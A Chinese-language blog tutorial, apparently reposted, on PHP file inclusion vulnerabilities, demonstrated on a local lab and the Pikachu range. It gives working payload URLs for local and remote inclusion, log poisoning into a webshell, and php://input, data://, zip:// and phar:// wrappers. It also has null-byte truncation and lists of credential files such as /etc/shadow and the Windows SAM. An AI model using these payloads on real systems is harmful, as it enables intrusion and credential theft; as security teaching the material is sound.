微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

文件包含漏洞

我觉得对于文件包含我整理算是很全面了,怎么复现的步骤都说的很清楚,主要首先自己在本地搭建网站,不会可以去我博客去找。如果我的文章你能完全自己做一下,基本上对于文件包含比较了解,可是花了本姑娘我一下午时间,希望能帮助到大家。

1.文件包含漏洞原理

比如开发人员在写一个程序时候,比如登录功能,在多个页面都有使用,那么开发人员为了方便自己他会将这个登录功能代码写入一个单独文件中,那个页面使用我就用代码把它引用到那个页面,这样呢好像也构成不了漏洞产生,反正我引用的都是我自己写的文件脚本。但是开发人员为了更加灵活,他把引用文件的变量写成了动态参数,这样的目的就是为了他不止能引用一个文件,他想引用那个文件就是那个文件,这个过程又没有进行合理过滤,就给攻击者机会了,因为这样就可以引用一些攻击精心构造的文件。这个引用我们称之为包含。

2.文件包含利用条件

1.第一首先web应用肯定采用文件包含函数

2.第二就是文件名字或者路径是通过用户传输参数的方式引入

3.用户能够控制包含文件的参数,被包含的文件可被当前页面访问

3.在使用文件包含漏洞时,必须要能知道其绝对路径

3.包含函数

现在呢我们以PHP代码为例,PHP中有包含函数及特点分别如下:

在这里插入图片描述

4.文件包含演示

这个自己在本地搭建网站,怎么搭建本地网站我的博客有介绍,大家可以去找找,首先我们在网站目录下建立两个文件,int.PHP和info.PHP,内容分别如下:

<?PHP PHPinfo();?>
#info.PHPinfo.PHP
<?PHP
$path=$_GET['file'];
include $path;

?>
#int.PHP

从上述代码可以看出,int.PHP就是一个动态包含文件的脚本,通过$path这个变量接受参数file的值,再通过include这个函数进行进行引用。如果我们访问如下url就可以看到info.PHP里面的代码被成功执行了,通过这个简单演示我们知道文件包含是如何运作的。

http://127.0.0.1/haha/int.PHP?file=info.PHP

那有的朋友就会说了,这么麻烦,我直接访问info.PHP也能得到一样的结果,确实是这样的。但是如果我的文件名是info.jpg呢,你直接访问还是得到如下结果吗,答案是不会得到刚才结果,因为后缀名是jpg,会被当做一个图片而不是一个脚本文件

 

 但是如果我们访问int.PHP,传入file.jpg,大家猜想一下结果

http://127.0.0.1/haha/int.PHP?file=info.jpg

 不知道大家猜对结果没有,依然能够是的info.jpg里面的PHP代码执行。如果继续换成txt ,png效果也是一样的。可以看出,include()函数并不在意被包含的文件是什么类型,只要有PHP代码,都会被解析出来

 那么这个漏洞结合文件上传就很厉害了,我们在之前文件上传时候讲过,文件上传时候会有白名单检测,比如允许你上传图片格式,那是不是我们可以制作一个图片木马,把脚本隐藏在图片源码里面,上传上去再利用文件包含,就可以执行脚本语言了。文件上传方面可以去看看。

文件上传漏洞_dreamthe的博客-CSDN博客,那么文件包含漏洞利用远不止于此

5.文件包含分类

文件包含是PHP基本的功能之一,有本地文件包含 和远程文件包含,简单来说,本地文件包含就是可以读取和打开本地文件 ,远程文件(ftp,PHP,http)包含就可以远程加载文件,我们可以通过PHP.ini来进行配置

PHP.ini这个文件

allow_url_fopen=On/Off   本地文件包含的开关

allow_url_include=On/Off  远程文件包含的开关

如果想要利用这个漏洞那么本地文件包含或者远程文件包含的开关是开的状态

6.文件包含漏洞利用

6.1配合文件上传

这个刚才我们已经讲过了,文件包含和文件上传配合,可以进一步渗透。

6.2读取本地敏感文件

6.2.1 绝对路径读取

如果存在本地包含那么可以读取本地敏感文件,还是拿我刚才的int.PHP文件,因为我的是window系统读取的是window系统的敏感文件。访问如下url可以读取本地system.ini文件内容,在读取时候提供的路径是很详细的那个盘在那个路径下准确无误。下面三个都是绝对路径读取

http://127.0.0.1/haha/int.PHP?file=C:\Windows\system.ini

 访问如下url可以读取本地C:\Windows\System32\drivers\etc\hosts文件内容

 访问如下url可以读取本地D:\PHPstudy_pro\Extensions\Apache2.4.39\conf\httpd.conf文件内容

 6.2.1相对路径读取

利用../进行返回上一级目录,直到返回根目录,我的靶场是搭在d盘,所以这种只能读取d盘文件内容

6.3读取apache日志文件

有的时候网站只有文件包含,没有文件上传的点,这个时候我想进一步渗透怎么办呢,我们可以利用日志文件,日志文件主要是用来记录的,当用户发送正常请求会被记录在access.log文件中,下面是我本地搭建的日志文件所在路径.(我的靶场是apache)

 如果发送请求会看到日志文件相对应记录该请求内容

 如果你发送的请求如下:会看到该请求也被记录在日志文件里面,只不过<>尖括号被编码了,变成了%3C?PHP%20PHPinfo();?%3E

http://127.0.0.1/haha/int.PHP?file=<?PHP PHPinfo();?>

这个时候我们可以通过bp抓包,看到内容进行编码,可能是浏览器或者前端进行编码,但是没有关系,我们可以将编码的内容替换成我们原始内容

 

 替换内容之后在发送出去,可以看到日志文件记录了,响应码为400,没有关系。

 我们通过文件包含访问日志文件代码被成功执行,可以换成其他一句话木马,再用webshell工具进行连接。

6.4远程文件读取

这里呢我开了一个虚拟机,在该网站目录下,新建了一个3.PHP文件文件内容如下:

我没有自己编写漏洞文件,借助的是pikachu靶场的远程文件包含漏洞,首先你将PHP.ini配置文件中将开关开开。

 访问如下地址 :

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.PHP?filename=http://192.168.3.138/3.PHP&submit=提交

可以看到将我虚拟机里面的3.PHP文件脚本执行。

6.5伪协议读取文件

1.PHP://filter伪协议

(此协议主要用于读取PHP代码时会用到)
条件:allow_url_fopen: off/on allow_url_include: off/on (均不受影响)

有一些敏感信息会保存在PHP文件中,如果我们直接利用文件包含去打开一个PHP文件PHP代码是不会显示页面上的,访问如下url,想要通过文件包含来读取该文件的源代码,你是看不到的。该文件只是存放信息,不是那种执行脚本,通过此方法看不到里面信息

 如果遇到这种情况可以利用PHP:filter伪协议来读取文件内容,如果不加base64编码是读不出来的,之后将拿到的数据解码就可以了

http://127.0.0.1/haha/int.PHP?file=PHP://filter/convert.base64-encode/resource=D:\PHPstudy_pro\WWW\pikachu\inc\config.inc.PHP

2.PHP://input伪协议

(将POST输入流当做PHP代码执行)
条件:allow_url_include:on,allow_url_fopen:on/off(受allow_url_include影响)

 发送如下请求:

http://127.0.0.1/haha/int.PHP?file=PHP://input

抓到请求包,在数据包里面填上红色框框里面的内容

可以看到我的本地就出现了shell.PHP文件

 

 通过蚁剑进行连接,就可以对该主机进行操控了。

 

 3.file://伪协议

(用于读取本地文件系统)

条件:allow_url_fopen: off/on allow_url_include: off/on (均不受影响)

一般在打ctf中来读取本地文件,我猜是因为不受上面两个开关影响。¥

?file=file://C:\Windows\System32\drivers\etc\hosts

 4.data://伪协议

(可以直接达到执行PHP代码效果)

data://和PHP://input这两种协议很像,使用PHP://input可以像post提交数据那样提交数据,

data://是以get方式提交数据,都是可以执行提交的脚本

?file=data://text/plain,<?PHP PHPinfo()?>

 

如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

5.zip://伪协议

(执行压缩包中的脚本文件)

条件:allow_url_fopen: on allow_url_include: on(均受影响)

我在当前网站haha目录下,新建一个压缩包,压缩包里面是1.PHP文件。压缩包名字1.zip,这个zip后缀名可以改成png,jpg,txt任何名字,都可以将代码解析出来,下面是我改成png和zip

访问如下地址:

?file=zip://D:\PHPstudy_pro\WWW\haha\1.zip%231.PHP

 

6.phar://伪协议

(读取压缩包文件内容)

allow_url_fopen: off/on allow_url_include: off/on (均不受影响) PHP 版本大于等于PHP5.3.0

phar://这个协议和zip://协议操作一摸一样,只不过访问url所区别

接下来我们访问地址:

?file=phar://./1.png/1.PHP

?file=phar://./1.zip/1.PHP  等等

7.空字符截断

可以看下面代码,会在传输的文件名后面拼接一个.html,如果我包含文件是1.PHP,最终执行完就变成1.PHP.html,这显然不可能当做脚本执行的。我们可以 使用%00进行截断可以访问如下url,%00后面的名字就别隔离了。(# ?也和%00一样效果)

注意:使用条件magic_quotes_gpc = Off PHP版本<5.3.4,我自己的版本是7.3.4,做不了,我也懒得重新搞,知道就行。

?path=1.PHP%00
<?PHP

 $filename = $_GET['path'];

 include ($filename. ".html");


?>

8.各种协议利用条件

这个是网上看到的,大家借鉴一下。

9.文件包含防御

1、使用str_replace等方法过滤掉危险字符

2、配置open_basedir,防止目录遍历

3、PHP版本升级,防止%00截断

4、对上传文件进行重命名,防止被读取

5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件

6、做好管理员权限划分,做好文件的权限管理

<?PHP

 $filename = $_GET[‘path’])

 include ($filename. ".html");


?>

10.路径利用

10.1 window系统敏感文件

这也是我在网上找的,给大家一个参考。大家要看自己电脑有没有这个文件,下面有一些文件我电脑就没有,或者目录不一样。你们如果想要练习,就找你本地电脑有哪些文件,看能不能读取就行。

C:/windows/PHP.ini #PHP配置信息

C:/windows/my.ini #MysqL配置文件,记录管理员登陆过的MysqL用户名密码

C:/winnt/PHP.ini c:/winnt/my.ini c:\MysqL\data\MysqL\user.MYD #MysqL.user表中的数据库连接密码 C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini #存储了虚拟主机网站路径和密码 C:\Program Files\Serv-U\ServUDaemon.ini

C:\windows\system32\inetsrv\MetaBase.xml #查看IIS的虚拟主机配置

C:\windows\repair\sam #WINDOWS系统初次安装的密码

C:\Program Files\ Serv-U\ServUAdmin.exe #6.0版本以前的serv-u管理员密码

C:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 #存储了pcAnywhere的登陆密码

C:\Program Files\Apache Group\Apache\conf\httpd.conf 或

C:\apache\conf\httpd.conf #查看WINDOWS系统apache文件

C:/Resin-3.0.14/conf/resin.conf #查看jsp开发的网站resin文件配置信息.

C:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf #查看linux系统配置的JSP虚拟主机 D:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\MysqL\my.iniD

C:\MysqL\data\MysqL\user.MYD #存在MysqL系统中的用户密码 C:\Windows\System32\drivers\etc\hosts

10.2Linux系统敏感文件

 /etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/PHP5/lib/PHP.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // MysqL 配置文件

10.3日志认路径

(1) apache+Linux 日志认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log

(2) apache+win2003 日志认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003 认日志文件
C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 认日志文件
%systemDrive%\inetpub\logs\LogFiles

(5) Nginx 日志文件
日志文件用户安装目录 logs 目录下

10.4web 中间件认配置

(1) apache+linux 配置文件
/etc/httpd/conf/httpd.conf
或者
index.PHP?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/Metabase.xml
(3) IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐